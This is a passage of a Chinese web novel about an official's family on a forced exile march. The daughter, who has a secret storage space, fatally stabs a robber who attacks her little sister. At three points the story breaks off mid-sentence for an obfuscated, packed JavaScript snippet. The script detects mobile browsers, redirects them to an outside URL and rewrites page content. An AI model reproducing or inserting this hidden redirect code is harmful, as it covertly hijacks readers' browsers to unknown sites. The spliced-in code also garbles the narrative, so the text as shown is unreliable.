这哪里住得下?差役才发话,身强力壮的立刻就往屋里挤,争抢着占地方。 屋里的位置占完了,驿站院子里也被占得差不多了。顾家一家五口除了顾文卿,其他都是妇孺病残,根本抢不过。 杜氏一看,也不费事了,背着小女儿去驿站后墙根底下占地方,好歹有一面墙挡风。 驿站里有干草,杜氏放下小女儿就跑过去前头求些干草,顾文卿也跟着去。 后墙根底下又来了几家没在屋里抢到位置的流犯,顾佑安连忙扶着顾稳坐下,把阿萱放在她和顾稳中间,父女三人占了好宽的地方。 “顾大人。” 顾稳靠着墙抬起头来,见是御史台的田御史,顿时苦笑:“我一个犯官,田大人取笑我不成?” 田御史也苦笑一声:“都是犯官,谁取笑谁?” 田御史名叫田清德,是个寒门出身的真君子。 这次太湖溃堤贪污案原本跟田清德无关,皇上借此连坐许多无辜官员,他气愤不过上书劝谏,皇上怒而找了个由头发作他,田清德就被流放了。 田清德跟着坐下,他长叹一声:“在其位谋其政,老夫身为御史本该劝谏皇上,触怒皇上被罚也是我该受的,可惜我夫人和我两个儿子,被我带累了。” 顾佑安抬头打量田家四口人,田清德和他夫人不到四十,身子骨还算健壮,田家两个儿子估摸二十左右的年岁,正值青壮,他们家这样的,应该能熬到流放地。 “田兄一家怎么没去驿站里头住?” “我身子骨好,不怕吹夜风,就不跟别人抢了,后墙根底下睡着也清净。” 田清德幽幽道:“当今皇上以孝治国,明年开春就是太后的六十大寿,也不知道皇上会不会大赦天下。” “就算大赦天下,去了松江城后,我们一家估计也不会再回京了。”顾稳不惦记这事儿。 顾稳跟田清德处境不一样,虽两人都是流放,田清德只是出言不逊得罪了皇上,顾稳却是因支持其他人登基,把当今皇上得罪死了的。 田清德也明白,他轻叹一声:“我知你是正直之人,这次……我们家也是流放去松江城,路上有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15299811|167118||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 需要帮把手的,你只管开口。” 流放肯定吃得差,咬牙还能撑住,气候却难受得住。 昨儿才是中秋,晚上睡在屋外也不太冷,就是身体受累罢了。等过了山海关,入了东北的地界后,天寒地冻,那才是要命的时候。 艰难时有信得过的互相帮扶着,对顾家这小的弱的弱的顾家来说,真是求之不得。 顾稳感激地拱手道谢:“多谢您好心。” 田清德苦笑:“我也不算好心,就那么回事罢了。” 事情已经做下了,到这会儿,他再想反悔也不能了,只能这样了。 说话的工夫,杜氏和顾文卿回来了,杜氏放下干草道:“天气不冷咱们还能混着,等天气冷了只怕难过,咱们要提前打算。” 顾稳颔首,他也是这样的想法。 顾文卿道:“娘,还是先想办法弄些药吧。” 顾稳脸颊上不自然的红晕很显眼,一看就知他在病着。 顾稳咳嗽一声,咽了咽干热的喉咙道:“这里是离洛阳最近的驿站,咱们又是流犯,驿站里从上到下的官员不敢肆意,这药只怕难寻。” “呵,那就不一定了,人为财死鸟为食亡,什么事情做不得?” 他们这一批人流放的匆忙,昨日皇上发作圈禁了他们,犯官家眷们大多没进牢狱,在家关了一日就被流放了。 像杜氏这样舍了脸皮哭求带两身旧衣裳的犯官家眷不少,其中夹带财物出来的肯定也有。驿站的差役不傻,肯定猜得到,差役不想法子从他们身上刮下二两油出来才怪。 顾稳轻喘一口气:“我昨晚发热不是背上鞭伤,估计是因为脱了衣裳躺地上受凉才发热。这会儿我感觉好了些了,就算没有药,歇一晚上也就缓过气来了。” “爹。” 顾稳叫顾文卿别说了:“咱们家有葫芦,你去要些水来。” 肉饼只有两个了,必须要靠差役发的饼子填饱肚子,差役发的饼子干硬,须要靠水顺进肚子里。 顾文卿去要水了,跟顾家靠着的田家,还有其他几家也默默去要水。各家留了一两个人占位置,守着自家干草。 墙角的人走了大半,顾佑安站起身:“爹,娘,我去那边找些干柴来,晚上咱们最好烧个火堆。” 杜氏接话道:“是该找些柴火来,咱们这儿靠着后山,晚上风大,说不准还有蛇虫鼠蚁,没有柴火不好睡。” 顾稳叫女儿坐下:“一会儿等各家回来了再商量。” 就算要烧柴火,也不能只他们家出力。一路上还长,不能叫别人以为他们家好欺负。 过了会儿,各家陆续回来,杜氏塞给女儿干饼和水:“先垫吧两口。” 顾稳跟才回来田清德小声商量过夜之事,田清德出头,他去跟后墙根底下其他几家商量。 这几家跟田家顾家不熟,不愿意跟他们一块儿,拒了。田清德也不在意,回来跟顾稳说:“也罢,咱们两家烧个火堆。” 顾稳点点头。 顾文卿把饼子塞给他娘拿着,他起身跟田大郎去林子里找柴火。 “站住!” 两个挎刀的差役过来,其中一个斜眼打量他们:“今日才离洛阳,你们若是敢逃跑……” “我等不敢。” “呵呵,最好是不敢,洛阳附近天罗地网,估摸不等朝廷发出海捕文书,你等就已落网,那时候就不是流放这么简单了。” 另一个冷脸的差役道:“以后的日子还长,你们若是聪明,就该安分些,少给我等添麻烦。” “你们几家互相监督,明儿早上若是少了谁,你们都讨不了好。” 这里是离洛阳最近的驿站,附近驻扎着京营许多官兵,或许是知道他们这些人跑不了,差役训斥两句也就走了。 顾文卿跟田大郎去山里捡柴火,顾佑安拉着她娘也进林子里去了,旁边几家冷漠地看了她们一眼,也就不管了。 天色渐渐昏暗,林子里好几个捡柴火的人,杜氏猜到女儿要进那秘密的地方去,拉着女儿七拐八拐走了好一段路,走到一片无人的灌木丛里才放手。 “娘,我去给爹找些药来,您等我一等。” 杜氏点点头:“别耽搁,赶紧出来。” “嗯。” 4. 第 4 章 杜氏母女俩从林子里出来时天色已经黑了,顾文卿和田大郎已经回来了,火堆已经烧起来了。 杜氏放下怀里的柴火,道:“这些柴火足够咱们烧到后半夜了。” 田清德的夫人白氏对杜氏露出个笑脸来,叫她过去坐:“我家二郎机灵,跟人换了个陶锅,刚烧了一锅热水,分你家一半,好泡着饼子吃。” 杜氏感激道:“多谢您好心。” 白氏微微笑道:“虽是初相见,我家老爷说咱们两家都是要去松江城的,以后互相帮衬着,咱们两家都好好儿地活着到松江城。” “哎。” 顾佑安看了眼田家两兄弟,田大郎稳重,田二郎机敏,田家夫妻俩挺会生养孩子,也很会做人。 说话的工夫,又有人从前面驿站过来,有个人肚子鼓鼓,不知道藏了什么东西,有个人背着个半旧的背篓,一看就知是跟驿站里的差役换的。 顾田两家人的目光都盯着那个背篓,这一路去松江城三千里,有个背篓背东西,能省太多事了。 田二郎起身:“爹,娘,我去前头转转。” 田清德交代一句:“别惹事。” 顾文卿也想去,被顾稳按下:“吃你的饼,吃了早些歇息。” “爹,我去问问有没您能吃的药。” “不要去,我的身体我自己知道,歇一晚上就行了。”顾文卿喉咙痒,忍不住轻咳一声。 顾文卿不同意,觉得他爹这是强撑。 杜氏拉着儿子道:“听你爹的话。” 顾文卿见爹娘都这般说,拗不过,只能作罢,坐下就着葫芦喝了口水,埋头吃饼。 累了一天了,阿萱小丫头困得不行,顾佑安抱起妹妹,带她去林子里方便。 阿萱趴在姐姐怀里打哈欠,迷迷瞪瞪地问:“姐姐吃饼了吗?” “吃了。” 姐妹俩走到林子里,等人瞧不见了,顾佑安把一个剥好的鸡蛋喂她嘴里,阿萱眼睛噌地一下亮了。 “别说话,赶紧吃,别叫人发现了。” 阿萱唔唔地点头,一个劲儿把鸡蛋往嘴里塞。 顾佑安见她这般可爱,一下笑了。 顾佑安这边给阿萱开小灶,那边杜氏悄无声息地把两粒药丸送到顾稳嘴边,顾稳愣了一瞬,张开嘴就着温水吞了。 顾稳感觉到怀里塞了两个热乎乎的东西,顾稳摸了把,把刚躺下的大儿子叫起来:“扶我去林子里。” 顾文卿也不多话,扶着他爹就起身。 顾佑安带着妹妹回来时,见爹和大哥不在,杜氏就说:“去林子里方便了,一会儿就回,你们姐俩睡吧,娘守着你们。” “嗯。” 顾佑安抱着妹妹躺在干草上歇息,这些干草应是晒过的,鼻尖全是干草清香的味道。 杜氏把包袱里的旧衣裳拿出两件披在女儿身上,她靠着墙歇息,手没闲着,一寸一寸地捏着女儿的小腿。 开始顾佑安被捏得腿疼,过了会儿习惯了,就这么沉沉睡了过去。 过了会儿,顾稳和顾文卿父子两人回来。 顾文卿看他娘的眼神有好奇,刚才去前头抱干草的时候娘一直跟他在一块儿,娘什么时候跟人换了鸡蛋来的? 顾稳还在发烧,走了一段路呼吸微喘,靠着墙再坐下时,头重脚轻有些难受。 杜氏给父子俩各拿了一件旧衣裳:“毕竟立秋了,晚上风凉,披着睡。” 后墙根底下一排靠着躺着四五家人,顾田两家烧了个火堆,那边三家人烧了个火堆,各家相隔不远,此时都安静下来。 火光映照下,顾稳和杜氏对视一眼,杜氏示意他看女儿,顾稳心里大概猜到了什么,闭眼休息。 顾佑安睡得格外沉,梦中,她梦到柚子,她跟柚子说她要出远门,不知道什么时候回来,叫她好好照顾自己。 柚子哭哭啼啼,问她去哪里,能不能带她一块儿去。顾佑安抱着安慰她,才刚张开嘴,她突然被惊醒。 林子里传来压抑的哭声,一瞬又没声响了,好似她听错了。 过了会儿,林子里又传来奇怪的响动,顾佑安正想抬头,被她娘按住,声音细不可闻:“别动,睡你的。” 顾佑安顿时不动了,抱着阿萱的胳膊紧了紧。 火堆都已经熄了,不过昨儿中秋,今晚上月光依旧亮堂。过了会儿,隐隐约约瞧见有一男一女从林子里出来。 顾佑安不傻,明白了其中缘由,闭上眼继续睡。 后半夜安静得很,抱着阿萱这个小暖炉,顾佑安又睡了一觉,天刚亮时,她被吵醒。 这次是被前头驿站里吵醒,仿佛说是哪家的妇人不见了,跑了。 差役又是斥骂又是叫人去找,那家跑了人的罪官家眷吓坏了,赶紧出去找人,又过了半个时辰,两具湿漉漉的尸体被抬回来,竟是投河死了。 后墙根底下的几家人收拾好不多的行李等着离开,听说前头死了人,估摸着要等会儿才能走,都坐那儿不吭声。 顾佑安沉默地把昨晚上烧好放凉的水灌葫芦里,又把烧水的陶锅送回给田家,并道谢。 顾稳和田清德交换了个眼神,都暗叹了一声,这才只是开始。 死了人也不算什么大事,一天若是走不完朝廷规定的五十里路,那才是要命的大事。差役和驿站那边交代好,催促罪犯上路。 今天又是大晴天,吃了药,身子好了,顾稳走起路来倒是比昨日轻松,还叫小女儿趴他背上。 杜氏不许,叫阿萱下地自己走,走不动了再背。 阿萱也乖,叫她走她就自己走,就是一路上不停喊饿。 早上闹出人命来,哪里顾得上他们这些犯人吃喝,左不过是一锅清可见底的玉米面粥,混个水饱罢了,这会儿又走了一个时辰路,哪里能不饿。 周围到处都是人,顾佑安就算手里有吃的,也没法躲开人不叫人发现。再心疼小丫头,也只能叫她饿着。 因早上耽误了时辰,中午只放饭时歇了两刻钟,啃了一块干硬的玉米饼,就被催着继续赶路。 秋老虎热得厉害,顶不住日头晒,又缺水喝,体弱多病的苦熬不住,路上又晕死过去几个。 押送的差役估计是怕死的人太多,他们不好交差,前头拐弯处有条小河,给犯人一刻钟时辰去打水喝。 顾文卿拿过家里的葫芦要去打水,顾佑安不给:“咱们还有水喝,不用打。” “我刚才喝的时候只剩一个底了,哪里够。” 顾佑安还是不给葫芦,河里的生水不知道多脏啊,哪里能喝。 “安安,葫芦给我。” “不给。” 杜氏也道:“大郎既要葫芦,安安给你哥哥就是了。” 顾佑安憋气,生活习惯的事,一言半句真解释不了。 顾稳看出女儿的意思,就说:“这时候也不是讲究的时候,听你娘的话。” 这会儿才半下午,一会儿还要顶着日头走好远的路,都需要喝水。顾佑安知道她爹说对,没法子,只能先顾着年纪小的。 顾佑安打开葫芦,把剩下的水叫阿萱都喝了,阿萱喝完捂住肚子,一晃一晃的:“姐姐,阿萱的肚子里在响哇。” 顾文卿摸摸小妹妹的肚子,拿着葫芦去河边上游处打水。打完水后,他捧起水洗脸,又捧着水喝了两口,舒爽地站起身,甩了甩手上的水。 顾佑安看着她哥那样,心里只有一个想法,要想办法再弄个葫芦装水。 歇了一刻钟继续上路,走了一个时辰,顾佑安口渴,顾文卿看出来了,把葫芦递给她,顾佑安摇头,她还能忍,不喝。 半下午一段路比上午走得还快些,紧赶慢赶,终于在天黑前赶到了驿站休息的地方。 这个驿站比昨天的驿站还要小一些,给来往办事官差住的客房肯定不能叫他们这些流犯住,若是想住在驿站里,只能去车马房,跟牲畜挤一挤。 就算是车马房,顾家一家五口肯定也抢不过人家。索性住驿站外头也不怕,这没有深山老林,没有吃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15299812|167118||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人的猛兽,不过是吹吹冷风罢了,还受得住。 这个驿站后头没有小树林,驿站左边有片芦苇荡,雪白雪白的,好大一片。 “芦苇可是好东西。” 田清德走过来道:“我小时候家里穷,冬天冷得睡不安寝,家里又实在买不起新棉被,我就跟着村里的大人去芦苇荡薅芦花塞被子里,棉衣里,这样才能过冬。” 顾稳小时候虽不像田清德过得那般苦,不过芦花的妙用他还是知道的。 “若是差役不管,咱们也去薅一些带着,路上能用,到了松江城也能用。” 东北的冬天那叫一个冻死人,若是运气不好,就算熬到了松江城,也要冻死在东北的冬天里。 顾家跟昨天一样去后墙根底下占位置,过了会儿,田家二郎从前头过来,顾佑安看到田家二郎肩上背着一个竹编的背篓,不知道他从哪里弄来的。 田二郎对顾佑安笑了笑:“二两银子一个,现在去还能买得到。” 这里好大一片芦苇荡,过路住驿站的普通官员或是官差,哪里看得上芦花这等贱物,只有流放去北方的流犯为了保暖活命,才看得上芦花。 既要装芦花走,必然要买筐,驿站的差役做的就是他们这些人的生意。 顾文卿叹道:“二两银子一个背篓,流放之人身无长物,哪里买得起?” “既有这个价,自然有人买得起,八仙过海各显神通罢了。” 以往流放的罪官身上就算有什么值钱的好东西,在牢狱的时候已经被人扒得一干二净了。 还是那句话,他们这一批流放之人不一样,从家里走的,又走的急,若说身上什么都没夹带,肯定没人信。 田二郎说:“我看你家带了好几件衣裳,选两件好衣裳去换了背篓也使得。” “衣裳留着自己穿,花银子买个背篓倒是可行。”杜氏道。 顾佑安也觉得可行,她空间里装着她娘的嫁妆,银子不少,不缺这二两,她拆开包袱把银子给她哥。 顾佑安扭头跟她娘说:“娘,再弄个葫芦,最好再买口锅。” 她空间里面也有砂锅、陶瓷锅,只是工艺太好了,一看就不像是大周朝的东西,不好拿出来用,只能花银子买。 杜氏也是这个意思,弄个装水的葫芦,再弄口锅,不能总蹭田家的锅使。 这事儿赶早不赶晚,既然爹娘都答应,顾文卿把银子往怀里一揣,去前头找门路买背篓。 田二郎把背篓给他哥,对顾文卿道:“我带你去找。” “多谢田二哥。” 押送流犯的差役跟驿站的差役都是沆瀣一气的,都知道流犯手里可能藏着值钱的东西,二两银子一个的背篓,一两银子一个碗,五两银子一件粗麻衣,他们都敢卖。 有些人有心藏着银子等最要紧时再使,可芦花就在眼前,错过这片芦苇荡,再没有这个好事了。 驿站厨房的后门处,一个老婆子收了五两银子,扔给顾文卿一个破旧的背篓,一个装水的竹筒。 老婆子斜眼打量顾文卿:“你们也是赶上好时候了,若是再晚两个月,天冷了,我这儿的背篓至少要价十两银子一个。” 田二郎赔笑道:“您老也不亏,不卖给我们,等到冬天确实更卖得上价,可不见得有流放的人经过。” 老婆子冷笑:“这不怕,该砍头流放的贪官,哪年也不缺,咱们皇上又是个眼里不容沙子的,今年没有人,明年后年肯定有,总有咱们痛打落水狗的时候。” 老婆子瞥了眼门外头,那些披头散发还看得出几分姿色的妇人,得意道:“往日你们高高在上,如今也要在老婆子手下求生,等到天黑,不知道多少贵妇人为了一口吃的,去外头芦苇荡里洗干净回来,半夜爬低贱粗汉的床。” 老婆子痛快地笑起来,眼底的恶意尽显。 顾文卿眼底冒出怒火来,皇帝不是什么好皇帝,他爹也不是贪官! 田二郎见状不对,赶紧推着顾文卿离开:“走走走,咱们摘芦花去。” 5. 第 5 章 田二郎和顾文卿回去找人,杜氏见儿子脸色不好,就问:“怎么了?” 顾文卿放下背篓:“涨价了,五两银子只买到一个破背篓,一个竹筒。那婆子卖瓦罐,十两银子一个,我没要。” 杜氏气得骂街:“十两银子一个瓦罐,这么缺银子怎么不去抢。” 杜氏一股气哽在心头,小女儿好奇地看着她,许多不堪入耳的话到嘴巴,杜氏又生生咽下。 顾稳劝道:“咱们鱼游浅滩,跟人争不得,你别往心里去,把自己气坏了才是得不偿失。” 白氏也道:“也不须生气,我家有个陶锅,你们家若是烧水,用我们家的就是。” 阿萱拉着杜氏胳膊蹦跶:“娘,不气呀。” 杜氏跟白氏道谢,叹了口气,摸摸小女儿的一缕一缕的头发:“好几天没洗了,身上都臭了,娘找个地方给你洗一洗。” 顾家田家耽误这会儿工夫,河边好位置都叫人占了,刚好差役发干饼子,两家人先去把饼子领了。 “歇一歇吧,一会儿再去。” 顾文卿和田家大郎去捡了些晒干的芦苇抱回来,烧热水,干饼子撕碎泡一泡,就着热水吃下去。 扯了张大树叶子当碗,一边吃泡软的饼子,顾佑安一边想,他们家不仅缺锅,还缺碗筷。 “姐姐,你快看。”阿萱跟姐姐坐在一起,指着左边给她看。 顾佑安抬头,看到一个年约七八岁的男娃,憋红了脸,脖子似鹅一般一伸一伸的,旁边大人猛拍他的背,又有一个形容狼狈的妇人拿树叶捧着水过来给他灌下去。 喉咙里的干饼子总算咽下去了,那半大孩子哇哇地哭,旁边大人又是骂又是跟着哭,什么饿死鬼投胎之类的话骂了又骂。 顾佑安移开眼,跟别人比起来,他们家至少有几件旧衣裳,有个装水的葫芦,有个竹筒,还有几两碎银子,借田家的光,还能有干净的热水喝,不差了。 阿萱害怕:“姐姐,阿萱不想吃这个。” “不怕,泡软了不会卡喉咙,你快吃,吃完了一会儿还要去洗漱,再不洗,你的头发里都要长虱子了。” 阿萱伸手想挠头,被顾佑安一把抓住:“吃东西的时候不准抓头。” “哦。” 顾佑安低头喝水。 太阳下山了,芦苇荡里刮起了风,微凉的风激起胳膊上一层鸡皮疙瘩,许多在芦苇荡里洗漱的人纷纷出来。 杜氏道:“趁着还有点热气儿,咱们赶紧去,一会儿该天黑了。” 田家一家四口也起身,田清德一看,又坐下去了:“你们先去,我留下看东西。” 顾稳道:“麻烦田兄了。” 两家人往芦苇荡里去,在里头河边上找到两个好位置。 “这儿真不错,后头有芦苇挡着,河边上还有块簸箕大的石头,站在上面洗漱不会踩着淤泥,干干净净的。”杜氏欣喜。 沿河往芦苇荡里走一段路,田家也找到了个好位置。正好,离着些距离,两家也免得尴尬。 顾佑安想等到天黑方便行事,就推让,叫爹娘他们先洗。 杜氏道:“那好,叫你爹和你哥先去。” 顾稳和顾文卿父子先去,随后是杜氏和阿萱,顾佑安最后。 轮到顾佑安时,天已经黑透,天际挂着一轮明月,淡淡的月光照拂着这片芦苇荡。 杜氏:“我和你爹去别处摘芦花,叫你大哥在后头等着你,有事儿你喊一声,他听得见。” “嗯。” “到底在外头,你别耽误太久。” 顾佑安道了声好。 杜氏牵着阿萱走了,这片地方只有顾佑安一个人,她蹲在河边上洗洗手站起来,环顾四周,静听。 静谧的夜色中,唯一的光来自天上的月光和满天星河,耳边是风吹芦苇荡的声音,还有远处别人搅动河水的声音。 一个转身,顾佑安的身影消失在河边。 回到空间,鸡鸭扯着嗓子叫,顾佑安舀了半盆玉米粒喂他们,又打了一盆水去。 照管完鸡鸭,顾佑安赶紧上楼,叫她好生找一找,有没有现在用得着的东西。 回到熟悉的家,顾佑安先跑去厨房,厨房里材质不一型号不一用途不一大大小小的锅十几个,其中跟大周朝勉强相合的只有那个炖汤的土色粗陶锅。 这锅比田家人用的陶锅做得精细多了,不过外观上看着也只是粗陶而已,拿出来勉强也说得过去。 就是这炖汤的大肚锅实在太重,不实用。 顾佑安想来想去,突然想到她外婆以前熬药的小厨房,连忙下楼跑去一楼。 外婆从中医院退休后,在家中一楼开了家中医馆,给邻居们和偶尔慕名前来的病人看看病。 外婆不嫌烦,若是有人请她熬药,她也帮着熬,等候的功夫还能跟人闲聊几句。 也是因为如此,一楼除了看病拿药的大堂,以及一间储存药材、机器的房间外,还有一间熬药的小厨房。 小厨房里一排五个灶口一直空着,灶台后头的台面上整整齐齐摆着七八个熬药的单柄粗陶壶,一个陶壶估摸能装三四碗水。 这个粗陶壶真是粗陶,陶壶的面上还有许多烧过的粗粝颗粒,这种风格拿出来用正正好。 顾佑安拿来手里试了试重量,很合适。 除了陶壶之外,顾佑安又去厨房拿了两个鸭蛋,又往陶壶里倒了大约半斤盐。 看这盐太白了,顾佑安又把盐倒出来。 顾佑安又盯住地上的泡菜坛子,架子上挂着的腊肉、香肠……唉,没个好借口,这些都不能拿出来。 没有盐就没有吧,后头再想办法。 耽误了不少工夫,顾佑安连忙去洗漱,洗漱用品都不敢用,因为有香味,找来找去,唯一能用的只有一块买东西赠送的无香大米皂。 想到外头天黑了,怕风吹了受凉,她又把头发根部吹干才出去,发尾还湿着也不管了。 换下来的衣裳在清水里搓了搓,拧干,裹着粗陶罐,拿着两个鸭蛋就赶紧出去。 顾佑安出空间才站稳,机敏地观察四周,右前方芦苇荡阴影处突然出来一个黑影,猛地扑倒她。 她身体往后一仰,手里的东西尽数脱手,不知道扔去了哪里。 顾佑安一个扭身,躲开,可惜动作不够快,还是被人带倒,身体往后一仰,肩膀结结实实撞在石板上,后脑勺浸进河里。 还没来得及庆幸保护住了脑袋,顾佑安被男人死死按在石板上,那人一手掐住她脖子,臭烘烘的嘴几乎贴住她的脸。 “臭娘们,银子拿出来,给我银子!” 顾佑安立刻想到之前她哥去找人买竹筐回来,她哥把剩下的银子顺手交到她手里,她把银子放在身上。 “想保住小命,就把银子交出来。” “我数到三,再不给爷,爷要了你的命。” 这人压低声音不敢招人来,手上的动作却是下了死手,顾佑安被卡的说不出话来,脸憋得发红,头晕脑胀。 顾佑安目光倏地往左看。 左边折断的芦苇杆儿上放着一个包袱,里头装着换洗的干衣裳,还有银子。 “哼,原来在这里。” 那人松开手,站起身去拿包袱,顾佑安重新获得空气,忍不住狠咳了几声。 “坏人,哥哥,打坏人!” 不知道什么时候阿萱跑过来,她喊了两声,被那男人凶狠的眼神盯着吓得不敢动。 “阿萱,快跑!”顾佑安厉声喊道, 阿萱扭头跑,却被那男人大跨步上前,掐住脖子提起来。 顾佑安吓得目眦欲裂,不等脑子反应过来,她瞬间消失又出现,手里的刀举起又放下,憋住气,铆足全身的力气撞向那人。 可惜她这具身体实在太娇弱,只撞得那人踉跄两步,顾佑安一脚踹向那人裆部,那人轻松躲开。 无法,顾佑安扭身,举起刀刺那人胳膊。 那人掐着阿萱脖子的手一松,阿萱一下掉地上。 “他娘的,臭婊子哪里来的匕首。” “阿萱快跑!” 阿萱被扔在地上,吓得哭都不敢哭,挣扎爬起来就跑。 “想跑?没门儿,给老子留下命来!” 只见那人矮身一把扯住阿萱的小腿,阿萱吓坏了,死命蹬脚。 “姐姐,救命,救命!” 顾佑安发了狠,握住手中的刀,猛扑上去一刀扎进人背里,不等那人大叫,顾佑安捂住人嘴,横刀轻轻一抹,不过眨眼间,结果了他性命。 鲜血喷洒,顾佑安下意识闭上了眼。 顾文卿和田二郎匆忙跑过来,阿萱看到哥哥,张大嘴就要哭。 田二郎忙道:“别出声。” 顾文卿瞳孔震颤,控制不住手抖:“这是,这是怎么了?” 顾佑安呼吸急促,手颤,浑身发抖,手里的刀却握的死紧,手指关节僵硬的不能动弹。 很快,就在不远处摘芦花的顾稳和杜氏夫妻俩过来,看到眼前这一幕,杜氏吓坏了,忙过去给女儿擦脸。 顾佑安退开:“您别过来,血沾您衣裳上不好洗。” 杜氏一把拉过女儿,急道:“你这孩子,哪里是说这个的时候。” 顾佑安站着不动,叫娘给她擦脸,她调整着呼吸,过了好一会儿,僵硬的身体才放松下来。 阿萱扑到爹爹怀里眼泪哗啦啦掉:“爹,坏人欺负姐姐。” “安安可受伤了?”顾稳抱起小女儿,忙遮住她眼睛。 顾佑摇摇头,她瞥了眼地上的尸体道:“我不知这人是谁。” 田二郎把人掀过来,仔细盯着一瞧:“这是张家二房的嫡次子张武。” “张武是谁?哪个张家?” “既是流犯,自然是钦差张平那个张家。张 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15299813|167118||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 武的爹只是个吏部六品主事,他借他大伯张平的关系进了国子监,往日里喜好拉帮结派赌钱养妓女,国子监许多学子都知道他。” 张平原是都察院御史,是当今皇上跟前的宠臣,太湖头一次决堤正是派张平为钦差去修大坝,前些日子太湖决堤,查出张平贪污受贿数额甚大,张平被砍头,张武一家被牵连流放。 顾文卿在太学读书,虽不认识张武,他也听过国子监张武纨绔二世祖的名声,这时听田二郎这般说,气得猛踹一脚。 顾文卿安慰妹妹道:“安安别怕,这种货色死了也就死了。” 田二郎也附和:“流放路上每天都有人死,多一个张武不算多。” 顾佑安再冷静,再心思多,到底没经过这种事,被娘搂着,也缓过神来,她勉强露出个笑来。 她自认自己不是什么好欺负的人,以牙还牙以眼还眼是她的信条,在以前,法治社会给她划出无形的底线,约束着别人也约束着她。 可在这儿,坏人没有底线,也逼的她下狠手。 她心里知道,今天是第一次,大概率不会是最后一次。 顾文卿和田二郎把张武尸体扔河里,任其顺水流走,地上和芦苇秆上溅的血也要处理干净。 这些都忙好了,顾文卿抱着妹妹和田二郎出去,顾稳和杜氏夫妻俩陪着顾佑安收拾她身上的血迹。 这会儿没有外人,顾佑安叫她娘把身上的外衣换了,她拿着她娘的外衣去空间里面清洗。 杜氏捡起刚才被扔的粗陶罐,还有两个落在草丛里没碎的鸭蛋,杜氏蹲地上禁不住流泪,她好好养了十多年的宝贝,怎么叫她经历这些搓磨啊! 顾稳安慰地拍拍她肩膀:“安安的经历太过离奇,有些事我们知道也就罢了,不能再外传。” “大郎也不叫他知道?” “不仅大郎,阿萱也不能叫她知道。少一个人知道,就少一分泄露的风险。” 杜氏哭够了,擦干眼泪点点头:“你说得对,不能叫其他人知道,我们要护着她。” 既是这么打算,安安从她那处神秘所在拿东西出来时,就要更加小心些。 “刚才的刀……” 顾稳道:“不用担心,田二郎是个聪明的,他不会乱说。” 虽说已经流放了,各家手里面难道没暗中藏些东西?田家暗地里指不定也藏了,只是不叫外人知道罢了。 顾文卿回过神来,自然也想到了妹妹手里的刀,他还未对田二郎张口,田二郎就知道他要说什么。 田二郎立刻道:“我不知道这事儿,今晚上我去河边洗漱,跟你说了会儿话就一起回来了。” “多谢田兄。”顾文卿松了口气。 不远处各家烧起了火堆,点亮了一小片夜色。田二郎瞥了眼顾文卿怀里的小丫头:“我倒是没什么,你这个小妹妹你要小心管着,别说破了嘴。” 阿萱圆溜溜的眼睛瞪田二郎:“你说甚?” 田二郎咧嘴笑,也不管他们兄妹了,丢下他们一抬脚去他爹娘跟前。 顾文卿把阿萱放地上,盯着阿萱道:“今晚上你做什么了?” “洗澡,洗脸,等姐姐。” “还有呢?” 阿萱眨眨眼:“还有什么呀?” 顾文卿满意地点点头:“以后若是别人问你,你也要这样说知道吗?” “嗯。” 顾文卿心里有很多疑虑,到底是一家人,就算有什么那都是自家的事,这时候不是计较这些的时候。 田二郎回去,在火堆前盘腿坐下,白氏拍他膝盖:“你不是去摘芦花?怎么空着手回来?” “天黑了瞧不见,算了,等到了松江城,想办法弄些棉花吧。” 田二郎压低声音:“娘,我记得您说过,顾家那位大女儿是个傻的?” 白氏抬手揍儿子:“胡说什么呢。” 打了儿子,白氏又小声说:“估计外头都是瞎传的,我这两天瞧着,安安只是话少不愿意搭理人,哪里就傻了。” “这话谁传出来的?” “好似是刑部侍郎苏光的夫人陆氏传出来的吧,好多年前苏光跟顾稳都是户部员外郎,十年前苏家办宴会,听说宴会上发生了些事,顾家和苏家交恶好似就是因为孩子。” 白氏也只是听说而已,她扭头看丈夫。 田清德点点头:“是有这事儿。” 那时候顾家大女儿才四岁,究竟是傻还是不说话也说不清了。后面这些年,各家办宴杜氏只自己去,从不带儿女,外头人也不知道其中细节。 不过,顾家大女儿痴傻的消息,这些年来大家都隐隐约约听说,估计确有其事。 田二郎叹道,就他今天晚上看到了,顾家大女儿是个杀人不眨眼的,不像是普通闺阁女儿,更不像傻子。 没想到顾稳一个出身寒门的五品工部郎中,还能养出这样一个女儿来。 6. 第 6 章 顾文卿借了田家的陶罐烧水,把他家的葫芦和竹筒都装满水。阿萱困得直点头,顾文卿抱着妹妹在火堆旁睡下。 